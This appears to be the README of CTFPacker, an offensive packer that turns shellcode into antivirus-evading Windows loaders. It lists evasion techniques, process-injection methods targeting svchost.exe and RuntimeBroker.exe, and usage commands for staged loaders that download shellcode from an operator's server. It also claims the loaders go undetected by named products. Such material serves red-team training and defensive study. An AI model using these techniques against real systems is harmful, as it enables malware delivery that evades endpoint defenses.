CTFPacker

![GitHub License](https://img.shields.io/github/license/mochabyte0x/CTFPacker?style=flat-square) ![X (formerly Twitter) URL](https://img.shields.io/twitter/url?url=https%3A%2F%2Fx.com%2Fmochabyte0x&style=social)
> [!TIP] > Did CTFPacker help you with a penetration test engagement or in passing a certification exam? If so, please consider giving it a star ⭐! Your support would greatly help the project and motivate me to add more features or even rework it entirely into a much more capable packer! ## Table-Of-Contents - [CTFPacker](#ctfpacker) * [Goal](#goal) * [General Information](#general-information) * [Evasion Features](#evasion-features) * [Installation](#installation) * [Usage](#usage) + [GUI](#gui) + [Format option](#format-option) + [Staged](#staged) + [Stageless](#stageless) * [To-Do](#to-do) * [Detections](#detections) * [Credits - References](#credits---references) ## Goal This repository has been created to facilitate AV evasion during CTFs and/or pentest & red team exams. The goal is to focus more on pwning rather than struggeling with evasion ! Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochabyte.xyz/2025/06/11/evade-modern-avs-in-2025/) ## General Information >[!CAUTION] >This tool is designed for authorized operations only. I AM NOT RESPONSIBLE FOR YOUR ACTIONS. DON'T DO BAD STUFF. >[!NOTE] >- The techniques used in the loader are nothing new. The loader generated from this packer will probably NOT evade modern AVs / EDRs. Do not expect that or anything ground breaking. >- Most of the evasion techniques used here are NOT from me. I just added a bunch of known stuff together and it is enough for CTFs ! >- Depending on the interest shown to this project, I might add some techniques from my own research and maybe expand/rewrite the packer entirely. ## Evasion Features - Indirect Syscalls via **Hell's Hall** (PEB walk + CRC32b hashing, obfuscated NASM stub with XOR encoding & junk ops) - API Hashing - NTDLL unhooking via Known DLLs technique - Custom GetProcAddr & GetModuleHandle functions - Custom AES-128-CBC mode encryption & decryption - Multiple injection techniques (see table below) - Possibility to choose between staged or stageless loader - "Polymorphic" behavior with the `-s` argument - Entropy reduction via embedded English text padding (`-er`) - Optional HTTPS transport for staged payloads ### Injection Methods | Flag | Name | Type | Target | How it works | |------|------|------|--------|--------------| | `apc` | EarlyBird APC | Remote — spawned process | `RuntimeBroker.exe` / `svchost.exe` | Spawns the target in a suspended state, queues an APC to the main thread pointing at injected shellcode, then resumes it | | `copyfile2` | CopyFile2 Callback | **Self-injection** (local) | Own process | Uses the `CopyFile2` progress-callback mechanism to execute shellcode inside the current process — no remote handle required | | `tp_direct` | PoolParty TP_DIRECT | Remote — existing process | `RuntimeBroker.exe` / `svchost.exe` | Hijacks the target's `IoCompletion` handle, writes shellcode into the target's memory, crafts a `TP_DIRECT` struct and queues it via `ZwSetIoCompletion` — the target's thread pool dispatches the callback | | `wf_overwrite` | PoolParty WF Overwrite | Remote — existing process | `RuntimeBroker.exe` / `svchost.exe` | Hijacks the target's `TpWorkerFactory` handle, overwrites `StartRoutine` in the target's memory with the shellcode via `WriteProcessMemory`, then bumps the minimum thread count to force a new worker thread | | `timerqueue` | Timer Queue Callback | **Self-injection** (local) | Own process | Allocates RWX memory, copies shellcode, and registers it as a one-shot `CreateTimerQueueTimer` callback — the thread pool fires it after 100 ms; main thread sleeps indefinitely | > [!NOTE] > `apc` spawns a **new** instance of the target process; `tp_direct` and `wf_overwrite` require the target process to **already be running**; `copyfile2` and `timerqueue` are self-injection and don't touch any other process. ## Installation Just run the install script: ```bash cd CTFPacker sudo bash install.sh # To remove it sudo bash uninstall.sh ``` That's it ! This will install the python package via pipx, set up a `.desktop` launcher and copy the logo to `~/.local/share/icons/`. You can now use `ctfpacker` and `ctfpacker-gui` globally. ## Usage ### GUI If you installed via pipx or `install.sh`, you can launch the GUI directly or through your desktop app launcher (which is the preferred way using CTFPacker): ```bash ctfpacker-gui # or ctfpg ```

CTFPacker

The GUI exposes all the same options as the CLI but with real-time build output, a log panel, and a profile system. You can save/load build configurations as named profiles, and export/import them as `.ctfp` files to share across machines. ### General usage ``` usage: main.py [-h] {staged,stageless} ... CTFPacker positional arguments: {staged,stageless} Staged or Stageless Payloads staged Staged stageless Stageless options: -h, --help show this help message and exit ``` Staged: ``` -h, --help show this help message and exit -p, --payload PAYLOAD Shellcode to be packed -f, --format {EXE,DLL} Format of the output file (default: EXE). -apc, --apc {RuntimeBroker.exe,svchost.exe} Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe -inj, --inject-method {apc,copyfile2,tp_direct,wf_overwrite,timerqueue} Choose injection method: 'apc' (EarlyBird APC), 'copyfile2' (CopyFile2 callback), 'tp_direct' (PoolParty TP_DIRECT), 'wf_overwrite' (PoolParty WorkerFactory overwrite), 'timerqueue' (TimerQueue callback). Default: apc. -i, --ip-address IP_ADDRESS IP address from where your shellcode is gonna be fetched. -po, --port PORT Port from where the HTTP connection is gonna fetch your shellcode. -pa, --path PATH Path from where your shellcode is gonna be fetched. -o, --output OUTPUT Output path where the shellcode is gonna be saved. --https Use HTTPS instead of HTTP for downloading shellcode. --user-agent USER_AGENT Custom User-Agent string for HTTP/HTTPS requests. -e, --encrypt Encrypt the shellcode via AES-128-CBC. -s, --scramble Scramble the loader's functions and variables. -er, --entropy-reduction Reduce binary entropy by embedding English text padding. --no-unhook Disable NTDLL unhooking via Known DLLs technique. -pfx, --pfx PFX Path to the PFX file for signing the loader. -pfx-pass, --pfx-password PFX_PASSWORD Password for the PFX file. Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s --https --user-agent 'CustomAgent/1.0' -pfx cert.pfx -pfx-pass 'password' ``` Stageless: ``` -h, --help show this help message and exit -p, --payload PAYLOAD Shellcode to be packed -f, --format {EXE,DLL} Format of the output file (default: EXE). -apc, --apc {RuntimeBroker.exe,svchost.exe} Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe -inj, --inject-method {apc,copyfile2,tp_direct,wf_overwrite,timerqueue} Choose injection method: 'apc' (EarlyBird APC), 'copyfile2' (CopyFile2 callback), 'tp_direct' (PoolParty TP_DIRECT), 'wf_overwrite' (PoolParty WorkerFactory overwrite), 'timerqueue' (TimerQueue callback). Default: apc. -e, --encrypt Encrypt the shellcode via AES-128-CBC. -s, --scramble Scramble the loader's functions and variables. -er, --entropy-reduction Reduce binary entropy by embedding English text padding. --no-unhook Disable NTDLL unhooking via Known DLLs technique. -pfx, --pfx PFX Path to the PFX file for signing the loader. -pfx-pass, --pfx-password PFX_PASSWORD Password for the PFX file. Example usage: python main.py stageless -p shellcode.bin -e -s -pfx cert.pfx -pfx-pass 'password' ``` ### Format option In both cases, staged or stageless, you can choose whether to compile your loader as an EXE or a DLL. To compile it as a DLL, simply append `-f DLL`. By default, it compiles as an EXE, though you can also explicitly specify this using -f EXE (but you don't need to). The DLL version exports a function called `ctf`. This is the function you need to call to start the exection. ```powershell rundll32.exe ctfloader.dll,ctf ``` ### Staged When using the staged "mode", the packer will generate you a .bin file named accordingly to your `-o` arg. With the `-pa` argument, you are actually telling the loader *where* on the websever (basically the path) it should search for that .bin file. So TLDR those two values should usually be the same. Example: ```powershell python main.py staged -p "C:\Code\CTFPacker\calc.bin" -i 192.168.2.121 -po 8080 -pa /shellcode.bin -o shellcode -s -pfx cert.pfx -pfx-pass Password ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ ▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ ▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ ░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ Author: mocha https://mochabyte.xyz [i] Staged Payload selected. [+] Starting the process... [i] Corresponding template selected.. [+] Template files modified ! [i] Encryption not selected. [+] Compiling the loader... [i] Scrambling selected. [+] Scrambling the loader... [+] Loader scrambled ! [i] Signing selected. [+] Signing the loader... rm -f *.o *.obj ctfloader.exe C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c api_hashing.c -o api_hashing.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c download.c -o download.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c inject.c -o inject.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c main.c -o main.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c unhook.c -o unhook.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c whispers.c -o whispers.o nasm -f win64 whispers-asm.x64.asm -o whispers-asm.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -o ctfloader.exe api_hashing.o download.o inject.o main.o unhook.o whispers.o whispers-asm.o -Wl,--disable-auto-import -s -lwinhttp -lntdll Connecting to http://timestamp.sectigo.com Succeeded [+] Loader signed ! [+] DONE ! ``` With this command, your telling the loader to connect to the `192.168.2.121` IP, at port `8080` and download the `shellcode.bin` file. So you should serve this file via a webserver. ```powershell C:\Code\CTFPacker\CTF Packer>ls shellcode.bin C:\Code\CTFPacker\CTF Packer>python -m http.server 8080 Serving HTTP on :: port 8080 (http://[::]:8080/) ... ``` ### Stageless This is fairly simple. The shellcode will be included into the loader. I recommend you to use the encryption arg `-e`. Otherwise the signature-based detection will likely catch it. ```powershell C:\Code\CTFPacker>ls core custom_certs main.py requirements.txt templates C:\Code\CTFPacker>python main.py stageless -p "C:\Code\CTFPacker\calc.bin" -e -s ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ ▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ ▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ ░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ Author: mocha https://mochabyte.xyz [i] Stageless Payload selected. [+] Starting the process... [+] Template files modified ! [i] Encryption selected. [+] Encrypting the payload... [+] Payload encrypted and saved into payload[] variable in main.c ! [i] Scrambling selected. [+] Scrambling the loader... [+] Loader scrambled ! rm -f *.o *.obj ctfloader.exe C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c api_hashing.c -o api_hashing.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c inject.c -o inject.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c main.c -o main.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c unhook.c -o unhook.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c whispers.c -o whispers.o nasm -f win64 whispers-asm.x64.asm -o whispers-asm.o C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -o ctfloader.exe api_hashing.o inject.o main.o unhook.o whispers.o whispers-asm.o -Wl,--disable-auto-import -s -lwinhttp -lntdll [+] Loader compiled ! [+] DONE ! C:\Code\CTFPacker>ls core ctfloader.exe custom_certs main.py requirements.txt shellcode.bin templates ``` ## To-Do - [x] Maybe adding a setup.py file to install via pip / pipx - [x] Other templates with different injection techniques (added CopyFile2 progress callback) - [x] PyQt6 GUI with build profiles & real-time output - [x] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here) - [x] More injection techniques (added PoolParty Variant 1 WorkerFactory overwrite + Variant 7 TP_DIRECT) ## Detections - Undetected on the latest Windows 11 Defender (2026-03-08, Version 1.445.420.0) - Undetected on the latest Sophos Home Premium (Version 2024.3.3.1.0) - Undetected on the latest Kasperky Premium (08.03.2026) ## Credits - References Most of the code is not from me. Here are the original authors: ``` @ Maldevacademy - https://maldevacademy.com ; https://github.com/Maldev-Academy/HellHall @ trickster0 - https://github.com/trickster0/TartarusGate (indirect syscalls) @ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection @ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp @ SafeBreach-Labs - https://github.com/SafeBreach-Labs/PoolParty (PoolParty thread pool injection) ```